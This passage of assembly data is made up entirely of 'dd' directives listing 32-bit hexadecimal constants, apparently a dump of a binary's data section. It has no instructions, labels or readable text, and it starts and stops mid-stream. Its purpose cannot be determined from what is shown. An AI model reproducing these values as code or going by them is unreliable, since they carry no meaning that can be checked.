31C2008Ah, 0EB18F98Bh, 270F3A10h, 0C0097221h, 805703D5h dd 75B907FAh, 90B389BBh, 9C159C7h, 0D4310F00h, 1398C44Ch dd 3047D83h, 5570C09Bh, 0D0E70EC8h, 12BC62B8h, 0CAD95200h dd 1005DC46h, 0B08C00D8h, 1FA4D030h, 6726D443h, 0F601AF27h dd 834807E8h, 24A814F0h, 3D7538Dh, 0F719B752h, 0C01BD890h dd 38840800h, 2761012h, 56E90009h, 33557EA5h, 6E1C8B78h dd 5DC08F92h, 0E805D0D6h, 0B94800AFh, 0A124B767h, 0F500E9BAh dd 18EC0C99h, 12A95A8h, 0AC0E495Fh, 0D8727D81h, 0FD007F63h dd 480FDF05h, 2EA4BF17h, 70A42E5h, 30EB3014h, 8CB8E88Ah dd 9C472C3Fh, 9BC03BE6h, 66AB55Fh, 0C455008Bh, 24A7FA5Ah dd 787BF1E9h, 0E1723200h, 0EA103D17h, 3484C0E6h, 0E52DF454h dd 1A8C2114h, 0BC08009Dh, 3D3AD490h, 0A4B10382h, 65DF7201h dd 0C76ABDE8h, 0DC67F00h, 0A550F246h, 16A60081h, 7322E2E6h dd 7C3BCCB8h, 821B812Bh, 8FD42F5Dh, 0E8D8E0E9h, 0F202131Eh dd 0A0A30109h, 0FC799286h, 200012E1h, 6DDFA418h, 7A5699F1h dd 429800E0h, 10F9C0Eh, 8C0135D8h, 0DEBA8BB6h, 0CC8F85F9h dd 33C076E4h, 0D040B45Dh, 0D4961900h, 6138A03h, 0BEF93C48h dd 944E6F80h, 2C77B540h, 0DC752000h, 0D7E5F303h, 7D8324C0h dd 740F00DBh, 8EC8A38Ch, 703D155Ch, 48D3F00h, 99C62B5Bh dd 0C2750033h, 32F546E5h, 97008F22h, 2CC86692h, 3D81D140h dd 9183D80Ch, 4B0A5B6Bh, 4CB8490h, 1941CA00h, 8345A0EAh dd 0B4B80A62h, 81AE1Eh, 6461C8BCh, 0DC009877h, 0CDC003EDh dd 6280F0h, 31E075EEh, 7C7E06FAh, 3EE66D58h, 30AA0044h dd 8D985EE6h, 18890235h, 5808050Bh, 810972C0h, 0DB033Fh dd 8F8B9B1Ch, 4BC32Bh, 2A299671h, 621A40FFh, 50845500h dd 0D009A40Ch, 4CE208h, 2F58E830h, 71B64F69h, 0CAB03C00h dd 20C463E9h, 94BC2441h, 0F61E3Ah, 8B28BB3Ah, 48010537h dd 2C438319h, 42301221h, 14660030h, 16BE8B50h, 0FE00344Ah dd 7B80DE02h, 0D6C103h, 0F2B0576Eh, 0EA52BA68h, 5900D5ECh dd 0F84E8D6Dh, 6C0394Ah, 7705F980h, 49FAFC51h, 1904DAFAh dd 1708B710h, 29C01E87h, 0B8913248h, 89560009h, 33EB684Bh dd 7A1CC72Bh, 6E407980h, 1081322h, 88191D90h, 1E101D02h dd 3E071E04h, 0CEF62780h, 0DE89F1Bh, 850F240Bh, 8A3980CCh dd 73E43h, 1D74052Ch, 4F83C8FEh, 0F50EE3Ah, 0D488FA08h dd 842E00BCh, 0AAEDE93Fh, 6ABB00BDh, 0F81C904Ch, 87000FC6h dd 369C37B7h, 48F38918h, 8009939h, 0C8C111ADh, 8E00D509h dd 14550E9h, 0FA1833FDh, 25F822h, 367B8D05h, 0EB1354BEh dd 5C9DA30Fh, 17E980C3h, 14801ABh, 425E8414h, 0EDE4F2B4h dd 5CBCE488h, 74F244F2h, 5026A9F2h, 57038171h, 0B80B20EDh dd 3E548602h, 6583C976h, 37A608BAh, 0CEE4B898h, 0B9364404h dd 1380810Ch, 7614868Ah, 5D450349h, 97D45942h, 0BDA400F5h dd 93208BF1h, 0E807CC98h, 2D121AD3h, 864814C0h, 0A9910077h dd 0EB2A8A3Bh, 11012C3Ch, 1408F534h, 68F85F64h, 1B3B0178h dd 0BE0A0960h, 5310601Dh, 0E200287Fh, 4A4B9734h, 9C5A7h dd 91160722h, 0D40B944Fh, 0ED145Ch, 136DA48Fh, 0E274067Ch dd 4409000Eh, 3E882E1Eh, 500056EBh, 0B7C4A28Ch, 33C6A65h dd 0D689AFF7h, 0E6A01499h, 6300ACD9h, 4D4BFCB8h, 0BADCFFh dd 0B2365C43h, 0EB2B5A20h dd 7CD7F07h, 47332C0Ah, 81069017h, 1D3A9024h, 4014C95Fh dd 0E57C115Dh, 4C00210Eh, 3BF23C10h, 264B22BCh, 19142Ah dd 74D807C8h, 900785BEh, 68B2A4F0h, 0E6BB4160h, 9FB0000Ah dd 0BCB95D09h, 0C3004916h, 25856C03h, 0C4001h, 36383420h dd 0B6587644h, 630011ECh, 0B5C2EF75h, 14302B01h, 0ECFA5390h dd 2E0F323Ch, 0FD660D4h, 80BDCAE7h, 7257865Fh, 2DE06269h dd 63614200h, 6E45206Bh, 3568005Eh, 56A47A57h, 3400291Ch dd 505B7660h, 695D03h, 2F856D75h, 0D4309401h, 535E3Ah dd 0C2E349BCh, 436517h, 0B6B2BE1Ch, 6D90B56Eh, 58007298h dd 307053EFh, 3B314BADh, 3752DA5h, 0DCAFB590h, 11905098h dd 4D002809h, 8C27646Fh, 295525h, 0A534482Ch, 0CD9AFAD8h dd 6B019D07h, 5070AC53h, 0FC75DEh, 6AD25930h, 4264A128h dd 8B83BF12h, 1978E000h, 760A464Eh, 0A7091DE5h, 0A87C4027h dd 0F67E704Fh, 804A0200h, 0CC5B89FCh, 8A787Dh, 0E0B9C45Eh dd 0E3820A73h, 582F262Eh, 58BED000h, 210F37Eh, 69E0BF80h dd 8DD4468Ah, 0A074020Eh, 50137D09h, 0B01E005Ch, 114B9487h dd 0E43AE021h, 0C010003Ah, 0B4292E0Eh, 0DBC307E5h, 0B0481732h dd 0BB46B33Ch, 6B00E2F0h, 5AA2F9BFh, 49655Fh, 479430Bh dd 4CCA7831h, 2000E698h, 76324D58h, 0EE476113h, 957C002Eh dd 0D8363930h, 1B776ACDh, 0B60017B8h, 4A53E8Eh, 584D5Ah dd 5E2D48Fh, 93D30A29h, 0BF00CB7Ah, 0C1901512h, 7850B346h dd 9443072Ch, 117ABC49h, 0C0F78498h, 3000540h, 8788021h dd 0E8F0110h, 0EAA90750h, 0FE09BBC1h, 0E9D260CAh, 0B1793113h dd 2078E700h, 3E429C7Ah, 8880C6C1h, 0C0219829h, 832E084Eh dd 2D00F9FAh, 2E10BD87h, 40B73F95h, 96DFA6h, 5B0799F3h dd 6DEE9118h, 3AEA29F4h, 454CB190h, 0CC51007Bh, 0FC14A13Eh dd 2CC41C0Bh, 50EB80C2h, 875C1175h, 88649002h, 0E353798Ch dd 42123C7Eh, 31BCECBCh, 0C3431C8Fh, 4C442000h, 84790F3Ch dd 18937C0Eh, 804D4F22h, 896F5C91h, 0B440016Dh, 290E5228h dd 7972E820h, 22351803h, 0B985ADF4h, 8AE04B2Dh, 302C0ED4h dd 0DC60A9D3h, 32FC3143h, 33F98700h, 0F124E50Bh, 0F57C03CBh dd 0A7133026h, 0C13B7B98h, 32A9201Eh, 3342F680h, 3955E8h dd 6F1D6B6Eh, 71205B77h, 0F43AA702h, 0C075304Ah, 76968CBh dd 587F8470h, 0C3E4435Ch, 6007E8C3h, 0EC100146h, 6404B290h dd 0F0F251h, 725411D8h, 736E6103h, 74656D00h, 437C19B6h dd 775727Bh, 0DC34916Fh, 54CC429Dh, 8AABD540h, 320B9501h dd 5C19580Ch, 0F8EB60D1h, 984662A5h, 0C627018Eh, 86774B85h dd 2370E80Eh, 72116F01h, 75C47488h, 0F2C7E0h, 3641378h dd 45287C14h, 780521Fh, 0DC008496h, 0E8C0C68Fh, 570400ABh dd 32517353h, 76765652h, 0FAB32F04h, 218068DBh, 1624884h dd 17A915Dh, 0EC18203Ah, 0FC1C89A2h, 3C5FA468h, 559F8CC0h dd 4D0390h, 0C87D8194h, 716E6547h, 1B6F7500h, 1E69EF12h dd 90493B9Eh, 0AF942785h, 70FE808Dh, 331F8471h, 41C069EBh dd 0D6874F9h, 94101C38h, 0A3634724h, 30451ABh, 9152E4EBh dd 3C755803h, 90784989h, 772D5C0Fh, 8E8F0733h, 102A6461h dd 0EB024124h, 8248110Eh, 0F8832080h, 9565095h, 0B657E90Eh dd 0A524807Dh, 0D0FDC2h, 9CBD2A2Fh, 8C463F4Fh, 1A029100h dd 0B0ACB878h, 0F2957622h, 0E85D0088h, 0DD27771Fh, 0C1007B69h dd 873DF441h, 50D3622h, 3E25C889h, 4B8C042h, 0F03F6373h dd 80C3BB84h, 0E0833074h, 88480Fh, 0D9E5D553h, 0B1AB39CAh dd 1AB2E90Eh, 0ED9B432Ch, 0A41FB022h, 2F3077Fh, 30B62A12h dd 1A93867h, 59510A0Fh, 658FA0B8h, 1C1745FEh, 7F06BD80h dd 5FC1759Eh, 40A21D66h, 5121DD84h, 43008D8Ah, 2B52A19h dd 0CB7516h, 69307659h, 80E06704h, 0E9E46D00h, 4CD2AA13h dd 0DBA41F7Eh, 0B39002Ah, 0B0A5DACFh, 0F9708A00h, 0C114EE6Ah dd 557097D5h, 0E53E901Dh, 8F079C5Dh, 5480A808h, 282993h dd 915BA5A7h, 45A9664Ah, 5D00067Ah, 0AA4085A6h, 4B829AEh dd 2B641F03h, 0B6AB8072h, 0BEE8BA08h, 0C3CDCFBh, 0C2408E03h dd 83CA81C6h, 8705E0CEh, 18ED009Ah, 4C331E45h, 48000666h dd 10EBC1F6h, 18F44E0Fh, 0AECF25AAh, 4301B738h, 1E3F7EA1h dd 0E1D08A11h, 30AEE96h, 5A607CB1h, 45A8C5EAh, 157AE66Bh dd 0ACE22A1Fh, 0DE0F5280h, 16ABA8D2h, 35EEC80h, 5B7A592Ah dd 19CD58A8h, 8C55D800h, 0E89F51B9h, 0B7280016h, 5CBA0B4Eh dd 4801FBC9h, 1B8D108Bh, 0A6D8E974h, 0FC7540h, 0AD9B914h dd 354A5C20h, 44008874h, 73102B74h, 7658B2AEh, 0BC30E717h dd 1C0D0059h, 0EBB0404Bh, 1A075E65h, 21322A54h, 0ACA41040h dd 0B34500A7h, 0B4114E6Ch, 98F019C9h, 9C3040BDh, 1E5700B6h dd 8C3DA1BCh, 0C000BEA0h, 7D258D13h, 73B30A2h, 0B5F8FB8Bh dd 0C0FA67A3h, 22C33657h, 0D2C94D00h, 8CBFECFh, 17AB0082h dd 0EA34DC5Dh, 87002C45h, 597E294Bh, 1184A1Bh, 0BA9444CBh dd 0F732B937h, 78921207h, 6E9473E4h, 3582CA09h, 0B1404D54h dd 30FD3896h, 285C0CFCh, 83090115h, 5054A4C4h, 0FECB59C4h dd 0B08D0016h, 0BA2DC935h, 7E0EEE24h, 0C0501FCFh, 0A016484Fh dd 5EA30096h, 8771D7D4h, 0D87E85F4h, 1CDC0800h, 0B1569FA2h dd 869400E4h, 0D3FB1F55h, 0E800951Ah, 0C8DC633Fh, 1100B26h dd 3D801499h, 2AE15B18h, 0A4EFB0h, 98CE92BFh, 7E591277h dd 0B409C401h, 25A656A3h, 0F26AC9CCh, 0C8CD002Fh, 8821AF1Ch dd 191ECA9Bh, 99C0A543h, 0DF09D611h, 0BEE85C10h, 0F101330Fh dd 3BFFA6Eh, 221A390Ah, 0F8442AA9h, 0EB00883Ch, 5C61976h dd 2601E7A0h, 0FA96DE5h, 4321DFA4h, 0D15B20A8h, 0E152D1ACh dd 4249E0B0h, 0E65B800h, 391048BCh, 0CC00059h, 0C4908529h dd 156719C8h, 54F02006h, 722CCh, 3209D081h, 0CB60C41Bh dd 4F2EAA00h, 0AB4E104Dh, 4BDC0FDEh, 0FF0FB0E6h, 3B00E2EBh dd 65AC82EDh, 923B5F00h, 0FC0A7185h, 0D27E9564h, 0F02CF406h dd 0B7EC0076h, 0DFFE3862h, 6A3E4307h, 0E432005Bh, 0DDE01472h dd 42120045h, 2934CC06h, 1EE42D83h, 5C1A0102h, 0E0406F2Ch dd 0B0A26E1Ch, 0C5CC00C3h, 0ED540C51h, 0E7A9333h, 8DA56600h dd 9D35EF40h, 14EEAE8h, 8FDDCEEAh, 0D4C709D2h, 0C60FE099h dd 0E02AB67Ah, 0D62B49AEh, 2F580051h, 3DC255D0h, 11DBD03h dd 0DC005C77h, 64BCD3B7h, 0F9532610h, 80FD0001h, 870D048Fh dd 0BF2A9E03h, 0A04FA86Bh, 0AC6865h, 40C683D1h, 0B0F8608h dd 1448C0EEh, 0A5AD0063h, 642D24FBh, 580203F5h, 76DB850Ch dd 21C144C0h, 4BCD8600h, 0BC7C247Fh, 0EF07A4Ah, 56107005h dd 3D0C36E3h, 0DF5144D8h, 6E297A00h, 8833022Bh, 75080042h dd 1643C394h, 0E047953h, 122147E8h, 7F90B6C0h, 519800A2h dd 2E1E25E2h, 8000F6F0h, 0DD3C7869h, 1D2A38D2h, 55204h dd 0C981D868h, 7E0010B4h, 0BFEB6582h, 3BB0925h, 4B594CE0h dd 56A8F05Ah, 72006116h, 48ADF846h, 2D9F7Bh, 4BE70193h dd 0D7A7D4FBh, 7906C3Eh, 0E46EF854h, 0DDEBBD51h, 703AC70h dd 44BCCCF7h, 78E6304Bh, 11007F6Fh, 64DFCEE9h, 731724B4h dd 886A0758h, 0D06023D6h, 0C4709472h, 0BE27D21Fh, 68950C0h dd 4F0CAEh, 2F22F114h, 244EC8DDh, 0E4082112h, 8C6C8000h dd 2CFEF084h, 0CAEE65h dd 1625DCF4h, 3400AA11h, 6A9488F3h, 0ABCF4Fh, 54801B6Ch dd 7765AD7Bh, 31C56800h, 2C59958Dh, 57EF1DB0h, 6B5C7F1h dd 0F79CF70Dh, 12AFA14Eh, 0EBD0DC69h, 3A294100h, 8D8263BCh dd 0F87885h, 1975809Ah, 92D2FCF4h, 0D1411300h, 0FEEC5D43h dd 9DD000E4h, 5F0B0879h, 50E41E5Bh, 856D7100h, 0F7659784h dd 1294004Ah, 2224CA1Dh, 5C0B0810h, 80727453h, 0A5AB2D16h dd 0ED750027h, 6918A4E4h, 0C0008906h, 0A7BBA8A9h, 4A82BEh dd 30145D0Dh, 6D6F431Ch, 34876500h, 712C0A73h, 880B39ECh dd 0C170C400h, 0D34E7909h, 8064523Fh, 2BD01884h, 0BA40F22h dd 28447291h, 4C9D7B80h, 0D30E3770h, 0E0D8A5BBh, 25876C33h dd 927900DEh, 12633018h, 0C848D48Bh, 0ACBC00F4h, 178DB6C4h dd 0E031FAC2h, 0ECB2002Fh, 69540BCAh, 0EA0F4556h, 24985980h dd 0A2800C89h, 0B87212h, 56AD536Ch, 30C88ADCh, 0E445400h dd 6765354Ch, 0E109005Ah, 0C95BC370h, 4B017468h, 0E0F82930h dd 27D8ABF2h, 87640018h, 6BC58E6Dh, 0C8F72873h, 0B200D142h dd 0B14F2610h, 9055E5h, 947AC427h, 814475Ah, 0D6D18001h dd 0EA25F46h, 6016CCh, 295CC595h, 2EB06488h, 90E34B16h dd 0DCC47F00h, 7C44D148h, 0ABF07EDh, 40B36965h, 12B47542h dd 806C643Fh, 30D2520Ch, 72EB8F6h, 14257669h, 8B59165h dd 24FC4E0h, 16B0F5Ch, 4E7685Fh, 0D7F8D4C6h, 31A1866h dd 88104619h, 0C8064301h, 1890141Bh, 2E9104E0h, 73A381Ch dd 50AE961Ah, 0D27CB865h, 29339F00h, 13AB9C4Ah, 1038000Fh dd 2E642B25h, 14F02703h, 87D2AD00h, 53588011h, 0FB478B1h dd 2190DF3Eh, 5CC0A74Eh, 3181779Dh, 0F80BF0BFh, 79E107D9h dd 0E0B8AC2Ah, 0D234150Ah, 2B00257Ch, 0EDBBC044h, 588AD620h dd 0D3004703h, 0D501B5A7h, 0B8008302h, 0AE3D4FFBh, 0FA34D4h dd 0E2C87232h, 0C9128937h, 8CB7D901h, 0F188A18Bh, 5562D0h dd 9C01451Bh, 0D35B279Fh, 80FB1D3Ah, 504108D1h, 32A5251h dd 0EB1069ECh, 588864C2h, 3C00B3EAh, 5E575684h, 38A473h dd 0C29887E9h, 145A52E6h, 369FB40Eh, 0BF2B0Fh, 8E1F3EACh dd 471000Bh, 0FD27CCFEh, 5F01AF12h, 38EA1CD1h, 0C0D44754h dd 34560039h, 0FF3A3374h, 811ECC76h, 470EC322h, 0BA805D4Ch dd 809044Dh, 3C0F0370h, 6F7788B1h, 298BB6B8h, 69DE7503h dd 0FA99554Bh, 3654E00Ch, 2B4300AFh, 0A5D4459Fh, 0AD010576h dd 1912BEF4h, 0F0D0A2E2h, 15261D90h, 8043DE0Eh, 0C1695D8Ch dd 2A019402h, 0EC881CF4h, 9630F0CEh, 0F03B7D8Eh, 0C0E0047h dd 7E2146D2h, 0A1ED4A7h, 5000D76Ch, 0DEC8D5A6h, 0D9A50077h dd 0CEB62A4h, 3F002171h, 1711DBA7h, 686C6Ah, 74D83BC0h dd 0AECB8316h, 0A6F70400h, 4512A028h, 0C26A00F0h, 4FDF77E3h dd 290024ABh, 48165D4Bh, 0B00C06C3h, 0CE090C9Ch, 66B23908h dd 0D7CA890Eh, 907A8085h, 0FF0AA6h, 1184872h, 6CC1EBCEh dd 595C2300h, 0E26A90E5h, 3A8100A0h, 2E1977D0h, 6F009B89h dd 4B2BC48Ch, 88FBC2h, 0B483075Bh, 0FFB09281h, 0EE604504h dd 5700CC17h, 5882FEE9h, 58474048h, 2E10033h, 0C1F5FA2Ch dd 6B5E0175h, 0A0F168D8h, 2D6320C4h, 0DCA13C00h, 1F061CE3h dd 7EBD0043h, 4194D48h, 0FA008001h, 5302BB05h, 3C32EBh dd 9D2CAF41h, 27450618h, 82206A60h, 7A28AFEh, 4C50FF5h dd 0C7838088h, 541F4802h, 95C0CF43h, 13C144Dh, 0D9495C30h dd 34D9AA00h, 8448E36Bh, 3DC93200h, 0B95E882Fh, 12760391h dd 3B7421BAh, 72FC3AF0h, 6A838C00h, 0C7F2F449h, 0B2900010h dd 30393DD6h, 96007370h, 0BFC28BD2h, 0E698FEh, 0C6126CF4h dd 5D4A2404h, 935B801h, 3B5564BAh, 0E0FCADF5h, 0FE840042h dd 0F3C07489h, 0B405ED33h, 5F77087Eh, 0E681C280h, 0FE103B8Ch dd 830F1B9Eh, 0DBAB0DDFh, 7C89CEB8h, 47174A00h, 0E388559Fh dd 0B19011h, 8BA71F0Dh, 8577F8BAh, 81A09E4Ah, 115F00D0h dd 0C53B2BF1h, 2C022452h, 0FF6AE477h, 0B6D5E054h, 0B9D400DBh dd 86E7226Ch, 7E7D7428h, 52897F05h, 0BE0092ADh, 1D8D70EBh dd 661A1D98h, 850580D6h, 28215346h, 4D75E207h, 40903E9Ch dd 6132CBh, 6F881931h, 0E655697h, 6AE91F05h, 0D60E03AEh dd 0C622E005h, 0AB2550h, 121DA511h, 0AF0A5406h, 1244C00h dd 77714FDh, 68FE6303h, 5E05B8Ah, 5F3B5D62h, 0A25A03B3h dd 0F3BE4BD1h, 9FEAA0A4h, 0FD130025h, 4E7FDED9h, 10F688EFh dd 41CC2000h, 22496F5Bh, 196A00D8h, 92F53942h, 54015DE7h dd 0C0A38C1Bh, 0A5EC452Dh, 18D4011Ah, 64F3CF3Fh, 0B8F0D860h dd 0C4DA1400h, 5309FF65h, 5AEE0Fh, 0AA2BBB25h, 0A4290532h dd 44EC3700h, 8DBABF9Bh, 0AC3F00FEh, 6E0FD4C7h, 5800EF32h dd 19F7EAA7h, 0F8BD7076h, 223B00D7h, 2C683603h, 2E008D66h dd 0C74543E4h, 0EA8271h, 7802F45Fh, 33CAE055h, 0BD49F300h dd 30AE2040h, 17DC0053h, 0E251606Fh, 230722D8h, 68D413C0h dd 0DEE7A627h, 0D0C4A3E0h, 6F730348h, 9BCCA251h, 8FE87AEBh dd 763BC812h, 1AF50710h, 0B7D7C429h, 0C0F1A8D1h, 0C81BD3FCh dd 0B8C0BC4Eh, 77C1D05Fh, 0B4451F9Eh, 1E42B036h, 4303B022h dd 148D7A37h, 0E8DBE3ACh, 3EA878D4h, 1FF49C8Bh, 5F4DA4D1h dd 884740BDh, 0DEB790A0h, 0C19C4CC8h, 12E74398h, 0A5691094h dd 0F75C2C00h, 84DA04D8h, 12EEFE4Eh, 7BFD5C4h, 943DA9ACh dd 61BBC007h, 40004E70h, 2571626Bh, 3B691C65h, 0FF007775h dd 57ADCC67h, 0BC002C9Eh, 0DAE74272h, 0C34316h, 0EB22354Eh dd 1D6CD5CCh, 13D895h, 3768B8B9h, 0C5648DBh, 0D8BD0B00h dd 41FA4E4h, 5FE800D6h, 0E3FE0146h, 0E2F4297Eh, 0F44D6200h dd 17B11E9Ch, 0A5C00ACh, 4FF2C727h, 1B002910h, 0DA6CB74Ah dd 3E3BA908h, 5F8346C2h, 0EE58E276h, 515EB5E0h, 30E1F43Ah dd 3E1378D4h, 0A8BC0020h, 0DA9057A2h, 8504DC36h, 341D0425h dd 53DD6FC0h, 0F982008Fh, 0E9A7AAA3h, 4B005DC9h, 5B30D398h dd 78E83Dh, 0F7700651h, 0D91E148h, 0A3184700h, 3D83438Ch dd 0C9FEA2h, 0ECC28EF4h, 0DBF12124h, 3A14538h, 6838801Ah dd 0AAAA875h, 94431FFDh, 6E90004h, 0C525A2D9h, 0E88660E3h dd 2AD0AF60h, 0FC2336h, 6E3BBF7h, 1DF8682Fh, 0A0F4EA00h dd 86C42B13h, 0A11C0721h, 0C1768528h, 0F4176984h, 7007A41h dd 954DBE5h, 0B44AE3h, 9E151AA0h, 0CA2B89B6h, 458BD401h dd 952AA2B8h, 1D6B0F20h, 40E2F343h, 4B2FDC3Dh, 970192FBh dd 7C67F55Dh, 71F07908h, 89AF0F84h, 34228CD4h, 0E3E35465h dd 87EB50EBh, 25FF16F8h, 0C0F84400h, 1C401099h, 478E003Ch dd 91342338h, 2C00C830h, 247228E4h, 0E21C2039h, 18412D8Eh dd 3F30D4h, 0A4C4B4A6h, 3E6D29DDh, 5002814h, 94E8F35Ah dd 0B5F2BF4Fh, 8404D000h, 0B05F76D2h, 0C9440081h, 5DA1708Ah dd 8000FC01h, 2EFF0B7Ch, 0FED175h, 7D3944BDh, 4C740482h dd 9B3FEB00h, 7B8AF19h, 0D0C10080h, 40B2E937h, 13009839h dd 29D8B60Fh, 3BF7750Ah, 5C0AE0BFh, 1E964E35h, 0CB02C121h dd 0E8A5E983h, 410072FBh, 880F7F0Ch, 2402C4Ch, 75CAFE0Dh dd 0AFC0DAA3h, 0B10023F9h, 6E22DDABh, 0B540F6h, 51E29456h dd 2DC5BE53h, 69DE0F2Eh, 0E72CC400h, 0F8D2B8CCh, 0BE190175h dd 0C7D9BA29h, 8205D4ADh, 4A10700h, 182B376Ch, 1688006Bh dd 22F35EDEh, 531C4FD7h dd 0EDD2C220h, 7998B900h, 28FF6B26h, 0BC2CA6h, 0C7031E14h dd 0A406D950h, 7E0CBF1Dh, 0D82B0D47h, 4AC0F8D7h, 422ABE3h dd 2C71C582h, 0E4888032h, 8900141Fh, 2E051043h, 1060Ch dd 667F6854h, 3D53004h, 0DF6EC800h, 0C6097D60h, 6B484805h dd 62842Eh, 7C7A90FEh, 0BD0A6ADFh, 0F61DC6FBh, 0B7452501h dd 0D520A67Bh, 64D5037Eh, 5F107CEEh, 96700AD8h, 0E7AE3507h dd 4FE05A14h, 3E2016ACh, 180A9FBh, 0A897E8ECh, 0D3F87556h dd 0B2EB8E00h, 0AA055F71h, 58531750h, 0C8ACF047h, 0B39F1400h dd 374A0460h, 8C661FAAh, 0C73E1CCEh, 0FEEC71Dh, 2E35A6A0h dd 0BC00C9BFh, 81100540h, 41878h, 7554D7B1h, 0C2A4AC15h dd 77A4848h, 81274A58h, 0F3EB2053h, 0B204D085h, 145C77D7h dd 0CD0EC862h, 2CF82401h, 0CD5EC390h, 1EF2E074h, 0CCE1A300h dd 80ED6A29h, 4B021E2Eh, 0D8AA4016h, 0E2B7428Eh, 38D4923Fh dd 66A28010h, 25439F0h, 7A8600E8h, 0EE8AC8E0h, 0CD00AF42h dd 0F00D217Fh, 1EAA106Ah, 0FFFDA55h, 0C3A00A2Fh, 0CB8362C6h dd 8065DF39h, 11B3E882h, 9545F02h, 3C995C31h, 0D95EC000h dd 0E80B9C13h, 80C15274h, 699208CAh, 0B963398Dh, 4AB68000h dd 18201514h, 7AA20C01h, 4352DF90h, 973477E5h, 9CE47Dh dd 0E8C28B30h, 0A73D322Ah, 16032500h, 59396491h, 0B66E390Ch dd 0FE701080h, 131ED48h, 87E86700h, 46BA44Dh, 88E422h dd 0A8903419h, 80282429h, 0E0103D02h, 0C0135074h, 0FBBB9E3h dd 0D75B059Eh, 5CA7F320h, 0F7044C0Bh, 0C139E034h, 2E4E9980h dd 92D0006Fh, 40A5C779h, 0D400CF7Fh, 64882238h, 4B5073h dd 4C20AA52h, 0D60CBED8h, 21AE2701h, 3F2C8F16h, 1CF5CD4h dd 5ABB4A3Ch, 307B71ABh, 8000019Ch, 742DFC78h, 0B8D71Eh dd 135DB2A4h, 0DE2F0451h, 4F5A8000h, 0E16A88C6h, 34E252h dd 6789D877h, 0E5D7B8A7h, 6500C275h, 2EE19608h, 1E58595Bh dd 0BA64354Bh, 825AB501h, 0F4D0D727h, 0F000ADE9h, 0EB3F19A8h dd 8AE705h, 0BC84A663h, 5C766AE1h, 0E810C004h, 0FAC04607h dd 12D11Bh, 47653D1Dh, 0E688554h, 8ECE3EFAh, 0CFABAA50h dd 0BA4F241Fh, 0F8E8BCC0h, 19DA6600h, 4F0B2A51h, 0C95C00CFh dd 44B942C2h, 0BA1E4813h, 825FD378h, 3C7A9882h, 1CA66032h dd 36DC00B8h, 130EBF15h, 71011A74h, 64FDBBBAh, 0DF61EB7Fh dd 0FE2FF4h, 0B2799554h, 0A7D3A45Ah, 0A35B9800h, 6E200775h dd 47741C6Fh, 7B80BC66h, 144450D1h, 45004840h, 30204F4Ch dd 3E7355h, 3A69572Eh, 0ACDE6874h, 0B498C4A0h, 3B498700h dd 92F0D5AFh, 29F700FBh, 0EFE388C5h, 0FC00A23Ch, 351B9886h dd 2F9CB8h, 0EB4E90E2h, 8B3301C0h, 4967C807h, 0ABF4BA3Ch dd 2B736980h, 0A8420020h, 0FEA32D9Fh, 62002C03h, 0A75D253h dd 0A54494h, 0E38F8BDDh, 49F3C755h, 3CF8F970h, 800CFC3Dh dd 7CA3853Eh, 4AF1ABD5h, 58B812h, 0E233545Bh, 8D49D2h dd 22F7EE4Dh, 0D5E42878h, 694EF900h, 0F17F7B32h, 19C23E5Fh dd 0F22BD101h, 0C008BCF5h, 4900414Dh, 5246204Ch, 1C3AF04Fh dd 40885BEDh, 0B047DE9Ah, 1509A1E2h, 14008E4h, 205450DEh dd 5E4FE0h, 1CCCA3Ah, 0DD0814E8h, 0D85D8900h, 0EE4E3250h dd 698F05AFh, 0C09FFF4Bh, 8D62F40Dh, 0D7D1E500h, 94D9A4C7h dd 75FA0F92h, 0C01C655Eh, 0BAFC0A4Dh, 0AB00E5B4h, 3B63F059h dd 3EC3064h, 0C429C314h, 77BB4418h, 0F622CAF0h, 0D443BA00h dd 0A137C99Dh, 0B8CF00A7h, 2173BE1h, 25B0C1ECh, 0E6004298h dd 6B2CAB38h, 470FF4h, 94688D8Bh, 3B42406Eh, 0A701DC03h dd 0D857CBF3h, 0B441C14h, 0D8A65441h, 4612F880h, 6D07C861h dd 205C8725h, 0F4FBFFE0h, 88090028h, 7F977553h, 2A008DADh dd 8A2C144Ch, 922BDFh, 2D5E2858h, 32B3C9E5h, 0F3781600h dd 616CC82Fh, 6E3E0069h, 68631D3Bh, 1F0072D6h, 493DC024h dd 2D4F53h, 7535E238h, 4C315639h, 0E21293Dh, 40437ACBh dd 45E5ED66h, 6F633BF4h, 67706480h, 62382C8Ah, 0F627561Eh dd 53F45881h, 97E47D91h, 70830F7Eh, 8525E6C8h, 5FE983C9h dd 0B725D5B8h, 1092D400h, 0EC4F6A7Fh, 0D32300B4h, 0E6CF62D6h dd 0A531266Fh, 686ECCFFh, 35343D0h, 4CE7A3B8h, 9FE96958h dd 5251F8F4h, 38F7EF00h, 39829794h, 3A413CE7h, 881400F3h dd 0A484C06Ch, 103F2A8Bh, 8A88F40h, 3839A042h, 701AAF0h dd 4A4784Ch, 0F61560AFh, 501C820h, 30C16590h, 0AF81910h dd 0F36FE29h, 0CA08C060h, 2D81CC69h, 0F42B2C05h, 957D5A64h dd 4D282703h, 0B81DD9E2h, 0E46EC161h, 0A560073h, 70DDB898h dd 663F5269h, 804036Ch, 0A04650A1h, 0EC37Ch, 0B6D7EBE8h dd 8D8157B4h, 320780E2h, 1C54B09Ch, 1E0E405Eh, 0F194E9F5h dd 154FD0FBh, 73E3B06Bh, 483C019Ah, 743E7F6h, 670C86Fh dd 44ED7900h, 5D977854h, 3484000Ah, 5817DAF9h, 0D40AF791h dd 0E57538A0h, 0A26D2A00h, 717464h, 8D704C52h, 453CAE72h dd 39403Ch, 0D05F5089h, 5BBD94h, 75488555h, 7D8AF9F6h dd 742FE73Fh, 0FEFFF800h, 173EF82h, 2E90B63h, 0F38065D9h dd 888B1BA0h, 956F7400h, 28692C91h, 0DF034C5Ah, 0D91FE905h dd 92038099h, 2000686Ah, 0FD858D55h, 0B8BE81DFh, 0D8F60B3Ah dd 8500A101h, 492F8A7Eh, 57281707h, 1DC095ECh, 750A5B9h dd 16294A7Bh, 5FB43025h, 0AB0090EAh, 0C449C60Eh, 1AD93680h dd 404C6728h, 8DE959E0h, 8E73297Bh, 592D3Bh, 0FB3AE571h dd 4E182Ah, 0C9825CA6h, 0F51A8D89h, 0F0FC8700h, 5768BDA2h dd 9F7A3C96h, 0F8423180h, 49BF14EAh, 1DEB1903h, 0C388C892h dd 0FB83AB90h, 57ED00Ch, 61300FB8h, 0E7E0558Dh, 0AF918696h dd 0C32D321Dh, 82C8C0CAh, 60C4A00h, 26D858Ah, 25ECB5BBh dd 18E01844h, 6E00EB2Ch, 0A7D04936h, 1D28E6h, 1AC83C42h dd 0CB24C90h, 